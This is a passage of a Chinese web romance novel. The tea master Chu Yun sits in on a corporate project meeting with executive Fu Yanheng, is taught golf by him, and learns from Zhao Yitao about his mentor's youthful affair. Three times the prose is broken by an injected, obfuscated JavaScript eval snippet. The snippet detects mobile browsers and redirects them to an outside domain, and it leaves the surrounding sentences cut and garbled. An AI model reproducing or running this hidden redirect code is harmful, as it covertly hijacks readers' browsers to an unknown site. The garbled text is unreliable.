楚韫给自己倒了杯茶,抿过一口才说:“区区一个周万山,就让你们坐不住了?” 他毫不掩饰语气里的嘲讽:“也是,亏心事做多了,稍有些风吹草动就会风声鹤唳。” 他放下茶杯,青瓷碰在茶盘上,发出一声轻响:“你们应该也知道我找周万山是为了干什么,所以这么愚蠢的问题就不要再问了,我无可奉告。” 宋清峦低声叹气,像是在劝告:“楚韫,你斗不过师父的,他的势力已经发展到了你难以想象的地步。” 楚韫听到他说“师父”这个词就感到一阵恶心,语气也跟着不善了起来:“既然你师父这么有本事,那就让他自己把周万山找出来。” 不料宋清峦定定地看着他,苦笑道:“你真是变了很多,以前的你从来不会这么锋利。” 他清俊的眉眼间似有落寞:“暂且不论其他,你以为就算没有那些事情,他到现在依旧还会是那个享誉盛名的廖大师吗?” 楚韫微不可查地皱了一下眉,就听他接着说:“恐怕你还不知道,廖叙生年轻的时候一夜荒唐,让一个女人意外怀了孕。他知道这件事情后,逼着女方打掉了孩子。” 宋清峦语气里带着淡淡的嘲讽:“这样一个道貌岸然的人,做过的丑事一旦被爆出来,照样是身败名裂。” 他试图从楚韫的眼里找到任何与动摇、怀疑甚至是愤怒有关的情绪,然而没有。楚韫像是不为所动,平静地说:“说完了吗?” 他朝着门口的方向扬了扬下巴,竟是直接下了逐客令:“说完了就请离开吧,你恶心到我了。” 宋清峦那张温和的面具隐隐有崩裂的趋势,他深深看了楚韫一眼,一言不发地起身离开。 走到门口时,他回过头,很遗憾地说:“楚韫,你早晚会为这份盲目的信任买单。” . 直到男人的身影消失,楚韫才脱力般地向后重重靠去。他疲惫地拿起手机,在联系人里找到梁淮,艰难地打字: [帮我查个事情,关于我师父年轻时候的。] 对面回复得很快: [好。] 楚韫并没有宋清峦看上去的那么镇定。虽然潜意识里相信师父的为人,但理智又告诉他,事到如今,宋清峦没有必要再拿一个编造的谎言骗他。他只能寄希望于宋清峦所说的并不是当年的全部真相。 只是他不明白,为何这么多年自己一点端倪都没有察觉?宋清峦又是如何得知这件尘封多年的秘密的? 那双漆黑的眼眸布满了阴霾,楚韫沉浸在自己的思绪中,以至于回神后才发觉多出来的两条微信提示。 [傅砚珩:明天有时间吗?] [傅砚珩:明天我要去瑞禾开立项会,你现在算是项目发起人,需要出面旁听一下。] 楚韫定了定神: [好的。] 消息发出去过了一会儿,对面回复: [那我明天早上去你家楼下接你。] 13. 开会 第二天,楚韫穿了一身挺括的黑色西装,身形修长而笔直,站在路边等人时,引得路人不时侧目。 这样的楚韫很少见,他身上那种独有的水墨气质与西装的干练利落碰撞在一起,非但不会矛盾,反而产生了一种奇特的张力。 傅砚珩看到楚韫的第一眼,产生的就是这样的感受。 楚韫侧身去系安全带,傅砚珩的目光落在他眼下淡淡的青影处,问道:“昨晚没睡好?” 楚韫偏头看他:“很明显吗?” 他今早还特意对着镜子看了两眼,自以为不会露出什么破绽,没想到还是被对方看出来了。 “没有。”傅砚珩笑笑,给他吃定心丸:“别人不会注意到。” 楚韫上一秒还在微微紧绷的身体放松了下来,他解释道:“因为一些私事,昨晚有点失眠。” 其实是昨晚梁淮给他发微信,说因为时间太过久远,再加上当时信息网络不发达,廖叙生的事情查起来很有难度,几乎可以说是大海捞针,让他做好一无所获的心理准备。 查不到当年的线索就等于为以后埋下了一颗定时炸弹,楚韫为此烦躁了很久,好了一段时间的失眠症状又卷土重来,偏偏家里的安眠药之前就吃完了,等到他真正睡着的时候天都快亮了。 身旁的傅砚珩难得没有在处理工作,而是问他:“要不要在车上睡一会?” 楚韫下意识想摇头,就听见傅砚珩接着说:“我昨天也很晚才睡,就当陪我休息了。” 楚韫心中一顿,看过去的时候发现傅砚珩已经阖上了双眼,眉骨在眼窝处投下两片阴影。 也许是实在过于困倦,也许是此时车内的空间给了他一种微妙的安全感,楚韫难得放下心中的戒备,将头偏向车窗,像傅砚珩那样,缓慢地闭上眼。 楚韫住的地方离瑞禾有半个小时的车程,他中途醒来了一次,是被车里的香气叫醒的。 傅砚珩看见他醒了,问道:“是继续睡还是吃早餐?” 楚韫刚睡醒,脑子有点转不过来,盯着他手里的早餐袋,问了个没头没脑的问题:“……哪来的?” 问完这个问题他就清醒了,刚想说点什么补救一下,没想到傅砚珩听懂了:“刚才闻时下去买的。” 楚韫说:“我不睡了,吃早餐吧。” 袋子里有三明治和热红茶,楚韫平时吃东西很慢,但想着在人家车上还是快点吃完,免得留味道,就加快了速度,两腮都微微鼓起。 傅砚珩觉得这样的楚韫有一种平时少见的可爱,眼里闪过一丝笑意:“慢点吃,不用着急,一会开个窗户就没味道了。” 楚韫:“……” 你是会读心术吗。 他咽下最后一口三明治,面无表情地转移话题:“新的项目审批是不是很麻烦?” 其实在当时的情况下,换作任何一个人都很难答应楚韫的提议,无论这份新方案能带来多大的价值。因为这里面的潜在风险太大了——重新审批的流程可能要耗时数月,公司内部还需要进行新一轮的风险评估,更别提原定的招商引资大概率也要一并推翻重谈。 但他忘了,在绝对的强权和实力面前,这些似乎都不成问题。只要关系够硬,任何事情都能快速解决。 “还好,”傅砚珩如实回答:“上面很乐意看到这个新项目,最多两周就能下来。” 楚韫点点头,打开杯盖喝了一口红茶,眉头微皱,像是无法理解怎么会有红茶难喝至此,偏偏早餐袋上的logo又是某个价格不菲的餐饮品牌。 他默默盖上了杯盖,此后一路再没打开过它。 . 宾利行驶到瑞禾楼下,几个瑞禾的高层知道今天傅砚珩要来,早已经在门口列道相迎。 为首的瑞禾总裁是一个身形略显臃肿的中年人,看见傅砚珩下车,立刻迎了上去,脸上笑容恭敬而讨好:“您来了傅总,会议室在八楼,我带您上去。” 话音刚落,他就看到一个面容秀美的年轻人站在了傅砚珩身后。 王总也是人精,他之前就听说这个项目有一位核心负责人是位茶叶制作师,眼前人八成就是了。 他十分热情地招呼:“您就是楚先生吧,很高兴您能与我们合作。” 楚韫点了点头,和他握了手:“你好,王总。” 然后由这位王总在前面引路,他们一行人往会议室走。 . 傅嘉礼被“流放”到瑞禾已经一个多月了。 从小放浪不羁的小少爷在这里终于体会到了什么叫人间疾苦。拜他哥所赐,这里除了王瑞福没人知道他的真实身份,他不但要兢兢业业地干好工作,还要处好各种职场关系。比如前天因为一份遗漏的数据信息,他被经理叫去办公室劈头盖脸地骂了半个小时。 不过好在傅嘉礼总是和那群狐朋狗友厮混,别的没学会,与人打交道甜言蜜语那一套倒是精通得很。不然经理骂的就不是三十分钟了,而是三个小时。 今天一早他照常来工位打卡上班,转头就乐了:“诗雨姐,今天什么日子啊,打扮得这么好看。” 被唤作“诗雨姐”的女人勾起艳丽的红唇,露出一点神秘的表情:“你还不知道吧,听说傅总今天要来瑞禾开会!” 她沉浸在自己的世界里,双手合十虔诚而崇拜地说:“天啊,没想到有生之年我也能亲眼见到傅总本人,哪怕只是远远看一眼我也心满意足了。” “你没发现今天大家都穿得格外正式吗——哎你这是什么表情?” 傅嘉礼努力控制住脸上复杂的神情,缓缓挤出一丝笑容:“啊哈哈,我就是没想到,我一个刚来公司的小员工,走了什么狗屎运能见到这么大的人物。” 诗雨姐对傅嘉礼的觉悟非常满意,点点头道:“是这样的,所以你小子好好珍惜机会吧。” 她长叹一声:“——不过听说傅总对总部那边的员工很严格,所以我们还是看看就够了。” 傅嘉礼深以为然,而且此人铁石心肠、六亲不认,甚至能把亲弟弟扔到这里自生自灭,种种行为简直令人发指。 他在心里呵呵一笑,面无表情地戴上了口罩和帽子,把自己捂得严严实实,连宋丽萍来了都认不出来。 . 傅砚珩他们开会的会议室好巧不巧和傅嘉礼的部门在同一楼层,电梯打开,王瑞福首当其冲走了出来,笑容满面:“傅总,楚先生,这边请。” 楚韫始终跟在傅砚珩身后,他还是第一次进到这种大型企业的内部,一时好奇往周围看了两眼,就发现一个戴着口罩压低帽檐的人坐在角落里的位置上,虽然看不见眼睛,但感觉像是在往他们这边看。 楚韫心里泛起一种淡淡的荒唐感,心想奇装异服难道也是一种公司文化? 进了会议室,几位高层和负责人纷纷坐在下首,楚韫被安排在了傅砚珩旁边的位置。 “开始吧。” 楚韫看向身边人,其实傅砚珩平时不苟言笑的样子让人很有压迫感,但显然瑞禾这边的负责人还没有适应在顶头上司眼皮子底下汇报工作,眼神总是无意识地往这边飘。 “……除此之外,我们计划在试验茶园部署物联网监测矩阵,配合无人机进行每日巡检,并建立病虫害预测模型。” 傅砚珩突然开口:“亮点是什么?” 负责人被打得措手不及,好在很快就反应了过来:“我们的数据采集网络已经能精确到毫米级,同时可以动态推演预测每块茶田的最佳采摘时间,在采茶这一步骤上实现精准化。” 傅砚珩不置可否,只是示意他继续说下去。 楚韫在旁边安静旁听,虽然他不负责这一方面,但也不得不感慨傅砚珩手下不养闲人。这份汇报中提及的设想如果真的能实现,那对于整个茶产业都将是一场巨大的变革。 ……只是到那时,他们这些人还有存在的必要了吗? 他看了一眼自己放在桌上的双手,迷茫伴随着汇报声一起涌来。 直到周围响起一阵掌声,楚韫才后知后觉地回过神来。傅砚珩的目光落在他身上,用只有他们两个人才能听到的声音问道:“怎么了?” 楚韫摇了摇头:“没事,刚刚在想一些事情。” 傅砚珩当场打回了一些不太成熟的部分,剩下的方案就算是通过了。 会议结束,所有参会人员合影留念。 拍完照片,傅砚珩去接了个电话,其他人都识趣地退出了会议室,楚韫也趁着这功夫去了趟洗手间。 等到他在洗手池洗手的时候,忽然听见某个隔间里传来低低的声音。 “妈,您看我已经来这工作快两个月了,每天都按时上下班,勤勤恳恳安分守己,您能不能和我哥说说,让他放过我吧。” 楚韫抽出一张纸巾慢条斯理地擦着手,就听那道声音继续哀求:“您相信我,我这回一定不在找我那些狗屁朋友玩了,赛车我也不开了——” 可能是对面无情挂掉了他的电话,隔间里的声音戛然而止。 楚韫对听别人墙角没兴趣,擦完了手就打算出去,就在这时隔间的门从里面推开,是刚刚那个穿得奇奇怪怪的人。 那人乍一看见楚韫,大惊失色:“你你你——” 楚韫无言看了他一眼,就听他很紧张地问道:“你刚才没听到什么吧?” 说完,他紧紧皱起眉头,像是在思考自己刚刚有没有说什么暴露身份的内容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江祈年那些骚扰般的日常问候在楚韫心里留下了很深的阴影,因此他在看到江祈年的一瞬间,下意识地就往傅砚珩身后躲了躲,试图不让对方注意到自己。 但这是不可能的,因为傅砚珩朝着江祈年走了过去。 于是楚韫主动降低了速度,渐渐和傅砚珩拉开一段距离,虽然于事无补。 之前因为傅砚珩挡着,再加上从没想过楚韫会出现在这里,江祈年一直没认出来傅砚珩身后的人是楚韫。 此刻两人距离近了,江祈年眼前一亮,惊喜道:“楚韫?!” “你怎么会在这里?” 楚韫心里叹气,闭了闭眼,近乎自暴自弃地说:“我和傅总来这开会。” 我和傅总。 傅砚珩没空再品味这个称呼,问道:“你怎么来了?” 江祈年按下心中的疑惑,回答:“赵毅滔回国了,正好今天有时间,我好不容易把人约出来打高尔夫,你去不去?” 闻时上前一步,开始向傅砚珩汇报行程:“原定计划您今天要和几个投资方见面,之后要参加B社的慈善晚宴。” 都不是什么重要紧急的事。相比之下,这次见面的机会更加宝贵。傅砚珩道:“和投资方改个时间,晚宴直接推掉。” . 赵毅滔。 听到这个名字的时候,楚韫的心猛跳了一下。 其实按理来讲他不应该开口的,傅砚珩他们明显是要叙旧情或者谈生意,自己这个身份尴尬的人去了,不但无礼,而且会妨碍人家。 但对方常年定居国外,错过了这次机会,恐怕再想见到就很难了。 一番内心拉扯过后,楚韫终于张了嘴,但想说的话还没有宣之于口,就听见傅砚珩淡声询问:“想去吗?” 楚韫缓慢地眨了眨眼。对面的江祈年立刻说:“去吧去吧,就当娱乐一下,不会打高尔夫也没关系,我教你!” 江祈年早就想邀请楚韫,但这里最有话语权的是傅砚珩,他不开口,江祈年也不好吱声。此时听见傅砚珩发话,虽然觉得有点反常,但欣喜和期盼让他暂时无暇顾及这些。 楚韫问:“会不会不方便?” 江祈年看了一眼傅砚珩,发现对方没有表现出任何反对情绪,便放心大胆地说:“没事的,就是几个朋友在一起聊聊天,正好你们也可以互相认识一下。” 想见到赵毅滔的心情还是盖过了忐忑不安,楚韫笑了笑,很感激地道了谢。 他感受到自己被傅砚珩的目光所笼罩。 “不用客气,楚老师。” 14. 教学 他们去的这家高尔夫俱乐部实行会员制,光是会费一年就高达百万,私密性极好,再加上视野开阔、景色宜人,很多上层名流都愿意来这谈生意或者联络感情。 楚韫是第一次来这,没有合适的衣服和装备,江祈年就不厌其烦地带他去选。 “初学者的话,先试试常规柔韧性的球杆吧。” 江祈年从墙上拿下一只卡拉威,在手里掂了掂,满意道:“这个杆头比较大,容错率比较高,你觉得怎么样?” 楚韫微微颔首:“可以,就这个吧。” 等到楚韫去试衣间换衣服的时候,正好碰到刚换完衣服的傅砚珩。他脱下了平时矜贵优雅的西装,取而代之一件深蓝色Polo衫和米白色长裤,整个人看起来多了几分慵懒随意。 “球杆选好了?” 楚韫嗯了一声,就听傅砚珩又说:“一会要是学不会的话,可以来找我。” 楚韫一心惦记着找机会和赵毅滔聊聊,闻言下意识地点头,随后很快反应过来,就开始拒绝:“还是不用麻烦了吧。” 他本意是在旁边看着学一学就好,毕竟冒昧来这里已经是一种打扰,再耽误他们打球谈事情就更不礼貌了。 傅砚珩看了他一眼,目光很深,但终究是没多说什么:“行。” . 车子把他们三个载到场地,触目所及,大片青翠的草地铺展开来,草尖缀着零星的水珠,阳光一照就反射出宝石般绚丽的光芒。 草坪上已经站了几人,看见他们,纷纷投来视线。 正在和赵毅滔聊天的方施廷看见傅砚珩,笑道:“还是您老有面子,要换做平时,就傅砚珩这样的工作狂,绝不会来和我们打球。” 赵毅滔闻言笑了笑,也没把这话当回事。反倒是方施廷看到楚韫的时候愣了一下,但他向来八面玲珑,朝着江祈年道:“不介绍一下?” 他下意识以为人是江祈年带过来的,结果还没等到江祈年答话,就听傅砚珩道:“楚韫,亿恒新项目的发起人。” 这算是一种变相的认可,言简意赅,却分量极重,在场几个人的表情霎时间微妙了起来。 楚韫礼貌地笑笑:“你们好,我叫楚韫,是一名制茶师。” 他换了白色Polo衫,整个人看上去清爽而有少年气,那张脸无论放在什么地方都是出挑的存在。 方施廷率先打破沉默,语气自然又熟稔:“既然来了大家就都是朋友,不用客气。” 彭宗甯注视着眼前的年轻人,总觉得自己在哪里见过对方,但一时间还想不起来。 直到赵毅滔开口,他才醍醐灌顶。 “你就是老廖的那个徒弟吧,一晃儿都长这么大了。” 江祈年一惊:“赵叔,您认识楚韫?” 傅砚珩对此倒不是很意外,赵毅滔此人的经历颇为传奇,年轻的时候也是位茶叶制作大师,在业界享有盛名,结果人到中年突然下海经商去了,第一次投资就赚得盆满钵满,此后更是在商界混得风生水起。 赵毅滔哈哈笑道:“当然认识。不仅如此,我也让你们认识一下——” “四年前的‘天工盏’大赛上,楚韫可是用他独创的‘雪绡’拿到了当时的第一名,当时可算是件震惊业界的大事。” 彭宗甯终于想起来自己在哪里见过楚韫了。当时他们家是赛事的投资方之一,当年的颁奖仪式上,他曾经见过对方一面。 徐菀真惊叹道:“原来楚韫就是盈浔,当时我们喝了你的‘雪绡’,大家都觉得是少见的好茶。” 楚韫没想到这些人都听过自己的名字,笑了笑,沉静又礼貌地道谢。 有了这里面的因缘,大家对楚韫的态度就更亲近了一层。 傅砚珩看楚韫融入得差不多了,适时转变话题:“赵叔先来发球吧,我们这些后生也好观摩学习一下。” 赵毅滔无奈一笑,点点傅砚珩:“数你小子会给人下迷魂药,我一个老家伙,不出丑就不错啦!” 玩笑归玩笑,按赵毅滔的辈分,第一场高尔夫确实应该由他先开球。 赵毅滔挥送球杆,白球腾空而起,向远处草坪轻盈飞去。 他们现在打的是三杆洞,赵毅滔的第一个洞,打出了四杆的柏忌球,虽然中间有点发挥失常了,但整体还算不错。 接下来就轮到傅砚珩。 方施廷掰着手指算:“要是我没记错的话,砚珩上次打高尔夫还是三个月前。” 这个空窗期确实很长了。打高尔夫最忌长时间不碰球,那样往往会手生找不到感觉。 “没事,”江祈年拍拍傅砚珩的肩膀,真心诚意地说:“作为你的好兄弟,打不好我们也不会笑话你的。” 楚韫一直在听他们讲话,闻言朝那边看了一眼,结果就对上了傅砚珩的视线。男人看着他刚刚微抿的嘴角,露出一点若有若无的笑意。 楚韫一时没明白这里面的含义,就见傅砚珩挥动了几下木杆,直到找到合适的角度和力度,然后送杆击球—— 白球在空中微微右曲,落在果岭前沿向前滚动了七八码,最终停在旗杆五步外的位置。 “???” 江祈年和方施廷面面相觑,同时在对方的眼中看到了不可置信。 楚韫的视线一直紧紧跟随着球的轨迹,直到看到它落在球洞附近,才松了一口气。 傅砚珩走到果岭上,将球轻轻推入洞中。 向来沉静的彭宗甯也忍不住叫好:“Birdie!” 很漂亮的第一洞,哪怕楚韫平时几乎从不涉猎高尔夫,也能看出来傅砚珩对角度和力量的把控有多么精确。 也是在这时,他才忽然理解了对方那个表情的意味。 江祈年可能是被震惊到怀疑人生了,有些语无伦次:“这不对吧,他是不是背着我们偷偷去打高尔夫了?” 徐菀真百无聊赖地打了个哈欠,漫不经心地点头附和:“也许吧,但任何不可能的事情发生在傅砚珩身上都是可能的。” 江祈年的视线断断续续地往楚韫那边瞟,突然道:“下个球我来吧。” 感受到楚韫的目光落在自己身上,江祈年竟然罕见地觉出一丝紧张。他本来想打一个小右曲,结果因为手抖打成了右直球,然后场上几双眼睛就眼睁睁看着球落进了沙坑。 江祈年下意识瞥了眼楚韫,发现对方正望着远处。 他顺着楚韫的目光看去,那边正是傅砚珩和赵毅滔的方向。两个人看起来相谈甚欢,赵毅滔脸上的笑容看起来完全是出自内心,傅砚珩虽然依旧没什么表情,但明显整个人是放松的。 江祈年有点庆幸又有点失落,默默地过去救球。 最后这一球三杆进洞,也算无功无过。 后面三人的杆数就很有讲究了。徐菀真和彭宗甯都打的柏忌球,方施廷很自觉当了双柏忌。 他们坐车去第二洞,江祈年刚想去教楚韫打球,就见方施廷给他使了个眼色,小声道:“赵毅滔想和你聊聊。” 江祈年明白对方的暗示,但还是心中烦躁,正要开口向楚韫道歉,就听他先说道:“没事,不用管我。” 江祈年只能把原本想说的话咽下去,换成一句“我尽快”。 刚才的第一洞楚韫一直都在观察,现在这一洞他打算摸杆试试。 “没事,江祈年走了我来教你。” 方施廷笑嘻嘻地开口,刚要走过去,就听身旁的傅砚珩漫不经心地说:“你一个打出双柏忌的人还是别误人子弟了。” 方施廷扭过头,在别人看不到的角度朝傅砚珩瞪了下眼睛,无声做口型:我球技什么样你不知道吗? 傅砚珩没理会他,径直走到楚韫身边,说:“需要帮助吗?” 楚韫不知道事态怎么就发展成傅砚珩要教他打高尔夫了,明明这人之前还在和赵毅滔谈事情,虽然他现在确实很需要一个靠谱的老师。 于是他点了点头,想起之前对方叫自己“楚老师”的经历,带了些小小的报复性,微笑道:“麻烦你了,傅老师。” 还挺记仇。 傅砚珩顿了一下才说:“两脚与肩同宽,膝盖轻微弯曲,上身要从腰部前倾,中心均匀分布在双脚。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383301|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 楚韫很听话地照做。 . 离两人有一段距离,徐菀真看着傅砚珩教楚韫上杆下杆,忍不住凑到彭宗甯旁边嘀嘀咕咕:“我怎么觉得不太对劲呢,傅砚珩这么冷漠的人什么时候这么好心了?” 彭宗甯说:“可能因为楚韫是他的合作对象。” 徐菀真觉得不是这么回事,跟傅砚珩在工作上合作过的人如同过江之鲫,也没见他对谁稍假辞色。眼前这场面就好像傅砚珩被夺舍了一样,恐怖到她能做两晚噩梦。 两人说话间,楚韫已经完成了第一次挥杆击球,虽然球的轨迹和他想象中的不太一样,但最起码没有出界。 “已经很不错了。”傅砚珩收回目光,说道。 旁边的方施廷听到这句话,心想真是太阳打西边出来了,自己有生之年还能从傅砚珩嘴里听到对别人的肯定。 傅砚珩没有忽略旁边的目光,他现在只想和楚韫单独呆一会,便顺水推舟地说:“比方施廷第一次击球的时候好多了。” 方施廷:“?” 他指着高高悬挂的太阳,痛心疾首地说:“恶语伤人六月寒。” 楚韫感受到两人之间逐渐弥漫的火药味,试图将他们分开,便对傅砚珩说:“我们去打第二杆吧。” “嗯。” 正中他下怀。 方施廷摆摆手,巴不得楚韫赶紧把讨厌的傅砚珩弄走,自己和彭宗甯他们打球去了。 . 楚韫的第二杆打得不太顺利。 连续两个球都严重背离了方向,甚至其中一个还出了界。 傅砚珩一直注视着他挥杆的全过程,此时一针见血地指出问题:“有没有发现你上杆的时候左手塌腕了,所以这两个球都是严重向右偏的。” 楚韫那张向来沉静的脸上难得露出了有些无措的表情:“那该怎么办?” 傅砚珩轻轻叹气,随即楚韫就感受到男人高大的身躯站在他的身后,两条有力的手臂虚虚环住自己。对方比自己高了半头,因此低头时呼吸的热气轻轻拂过那段裸露的脖颈,让他有些痒。 “失礼了。” 楚韫有些没反应过来,随即手腕就被傅砚珩握住,被牵引着、主导着做出正确的动作。 “感受到不同了吗?” 楚韫沉默了一下才开口:“嗯,手腕不能外翻,我刚才就是这么打偏的。” 他看不见傅砚珩的表情,但能感觉到对方似乎是笑了一下。 “很聪明。” 很平常的三个字,却在楚韫心里蔓延出一种奇怪的情绪。他深呼吸了一下,试图平复这种微妙的心悸。 傅砚珩看了一眼楚韫微微透着粉色的耳尖,语气平稳得好像什么都没发生过:“再试试?” 他退到了一边,楚韫这才感觉松了口气。他重新感受了一下刚才手腕上的那种感觉,然后挥杆击球—— 白球像是被驯服了一样,没有出界,也没有偏向,顺顺利利地落在果岭上,只差一段距离就能进洞。那是一个很漂亮的甜点击球。 …… 赵毅滔年纪有些大了,体力比不上他们这些年轻人,因此打了十个洞就下场了,回休息室之前还特意嘱咐他们好好玩。 楚韫一直想找机会和赵毅滔聊聊,因此也毫不犹豫地不打了,只是苦了江祈年,刚和赵毅滔聊完公司上的事情,正打算兴致勃勃地来找楚韫,结果人家没给这个机会。 “要不我也跟着回去吧,赵叔也需要照顾。” 方施廷心想江祈年平时挺聪明一个人,怎么今天就跟脑子被球砸了一样,看不出个眉眼高低。及时拽住了他,笑嘻嘻道:“别啊,我还要和你一较高下呢,不许当逃兵。” 傅砚珩这才看方施廷顺眼了点。 江祈年被这一拦,总算找回了理智,只好跟着继续打球。 一直在旁边的徐菀真从这两人的互动中看出了点门道,露出一抹高深莫测的微笑,给彭宗甯看得一头雾水。 徐菀真瞥了他一眼,恨铁不成钢地摇了摇头:“唉,像你这种直男是不会懂的。” 15. 真心 休息室的茶几上摆着精致的点心果盘,为了迎合不同客人的喜好,还特意在房间一侧设置了专门的红木茶台,上面各种茶叶茶具一应俱全,只要按个按钮就会有专门的茶艺师来服务。 但楚韫没这么做,而是恭恭敬敬地亲手为赵毅滔泡了茶。 他今天泡的是狮峰龙井,开水温杯后投茶,然后注高温开水直至刚浸过茶叶。清雅的香气被激发出来,赵毅滔动了动鼻子,面上表情有些失望:“这狮峰龙井还差点意思。” 随即他就释怀一笑:“也是,这种地方怎么能指望喝到真正的好茶。” 楚韫的动作依旧平稳而优美,他轻轻摇了摇玻璃杯,绿茶的芽尖逐渐舒展开来,然后悬壶注水,让冲泡水流沿着杯壁轻轻流下,茶叶舒缓地漂浮翻滚起来。 “其实我有一个疑问想要向您请教。” 赵毅滔欣赏着年轻人这一套泡茶的手法,虽然早就料到了,但还是笑道:“不用客气,我一定知无不言。” 楚韫感激地笑了笑,迅速出汤,然后双手将第一杯黄绿明亮的茶水放在了赵毅滔面前。 “我知道您是我师父的好友,我师父他曾经还和我们这些小辈念叨过您。” 赵毅滔喝了一口龙井茶,虽然人是笑着的,但眼底还是流露出些怀念和感伤:“那老家伙没说我坏话吧,想当年他可从来没对我嘴下留情过。” 楚韫温和道:“怎么会呢,师父和我们提起您的时候,说的都是您的手艺有多么好。”还有他要怎么赢过您。 赵毅滔可没被忽悠过去,想起廖叙生,这位半生制茶、半生经商的老人连眉目都柔和了些许。 “我是十岁才被师父收养的,因此对他年轻时候的事情不太了解,您听说过我师父他以前……有过什么情感经历吗?” 楚韫说得隐晦,但赵毅滔听懂了。 他面色不变,只是语气隐隐严肃了起来:“你问这个做什么?” 楚韫看他这个反应,心里叹气,几乎已经能确认宋清峦说的是真的了。 “赵叔,”他语气平稳,却带着不容置疑的坚定:“我要为我师父洗刷掉他身上的冤屈,如果我不知道这件事情的原委的话,会徒生很多波澜。” 白瓷杯口蒸起一层薄薄的雾气,让赵毅滔的面容一瞬间变得复杂而捉摸不透。楚韫说完了就一直沉默,只有左手手指轻轻叩在腿上,耐心地等着赵毅滔的答复。 指尖不知道是第几次落下,楚韫终于听到了他想要的答案。 “……你这孩子,”赵毅滔无奈地笑笑,却不复之前的畅快:“既然这样,我便帮你一把,实话和你说了。” “当年你师父也就二十多岁吧,因为工作需要,去了福建底下的一个村子进行实地考察。他去的时间很长,因为当年没什么条件,所以就一直住在一户茶农家里。那个茶农有一个女儿,挺知书达理的,而且和老廖很聊得来。时间一长,两个人就互相喜欢上了。大概真的是很喜欢那个茶农的女儿吧,有一天晚上你师父喝醉了,没控制好自己……和那个女人发生了一夜情。” 大概。楚韫心想,这算什么呢? 然而他很快就得到了原因。 赵毅滔摇了摇头:“也许是天意吧,那一夜过后,那个女人怀孕了,但当时谁都不知道这件事。直到你师父回来后不久,那个女人找到了他,告诉他自己怀孕了。老廖根本没想到会是这样的结果,但他当时一心扑在茶叶制作上,再加上没闯出什么名气,根本没法再养活一个孩子。” “也是造孽啊,”赵毅滔长叹一声:“你师父实在是走投无路了,万般无奈之下东拼西凑出一笔钱给那个女人,让她去打掉那个孩子。” 楚韫浑身僵硬,问道:“然后呢?” “我也是后来才听你师父说的,那天他们两个吵了一架,那个女人好像一开始不想打掉孩子,但最后还是拿着钱走了。你师父觉得愧疚,没过多久就又跑去那个村子找她,但结果人已经搬到别的地方了。后来老廖在茶界真正站稳脚跟了,就一直让人去找那个女人,结果都是杳无音信。” 楚韫敏锐地抓住了里面模糊不清的部分:没有人知道那个女人到底有没有打掉孩子,那就还存在着一线渺茫的希望。 于是他问道:“您还记得那个村子叫什么名字吗?” 赵毅滔皱起眉头,回想了一会,有些不确定地说:“好像叫……青龙岭村?” 楚韫呼出一口气,心里一直悬着的石头终于落下些许。他感激道:“谢谢您,您今天为我提供的信息对我非常有用。” 赵毅滔摆摆手,刚想说什么,休息室包间的门就被人推开了。一个茶艺师装扮、戴着口罩的人走了进来,声音闷闷的:“您好,请问需要茶艺服务吗?” 楚韫刚才并没有叫人过来,见赵毅滔也摇头,于是便说:“不需要,谢谢。” 那个茶艺师一直敛着眉眼,闻言点点头,说了句“打扰了”,便退了出去。 楚韫没有看到,在那个茶艺师即将走出包间门的刹那,忽然很快地偏了下头,深深地看了他一眼,目光里充满了痴迷和狂热。 . 傅砚珩他们回来后,江祈年张罗着要请赵毅滔吃饭,还问楚韫要不要一起去。 徐菀真早看出他的醉翁之意不在酒,只是郎有情,不知妾是否有意? 但楚韫明显无意。他看了眼手表,露出一副很抱歉的样子,实则恨不得马上离江祈年远一点:“我晚上八点的飞机,可能不太行了,大家吃得开心。” 江祈年忙问道:“你要去哪啊?” 楚韫很不喜欢这种越界的问题,毕竟他和江祈年还不算熟,好像没有必要告知对方自己的行程安排。 “——去淮南路的那家私房菜吧,味道还算不错。” 傅砚珩的声音再一次适时响起,他刚才就一直在看手机,此时忽然插了一嘴,像是只听到了之前谈论的聚餐话题,而没注意到江祈年的问话。 方施廷接过话头,问赵毅滔:“赵伯,您看行不行?” “……” 像是为了验证自己的猜测,楚韫抬起眼,便与傅砚珩的视线在空中相撞。无需多言,两人都从彼此的眼神中读出了对方的意思。 ——一个在感谢解围,一个好像在说“不客气”。 楚韫看着傅砚珩微微上挑的眉峰,忽然勾起了嘴角。 他忽然觉得,傅砚珩这人的洞察力简直强到可怕,只要一个眼神,就能知道自己心中所想所求。 . 这家高尔夫俱乐部位置比较偏僻,再加上来这里打球的人都会自己驾车,因此很少会有出租车往这边开,手机叫车也要等上好长时间。楚韫刚出来就意识到了这点,但此时他已经站在俱乐部门口,手机上显示还没有司机接单。 就在这时,手机震动了一下。 [傅砚珩:我今天坐彭宗甯的车,正好让闻时送你回去。] 楚韫心想怎么会有这么妥帖周到的人,余光就瞥到傅砚珩的那辆黑色宾利已经停在了他面前。闻时下来为他打开车门,恭敬道:“楚先生,傅总让我送您回家。” 对方这一套动作简直行云流水,楚韫确实赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 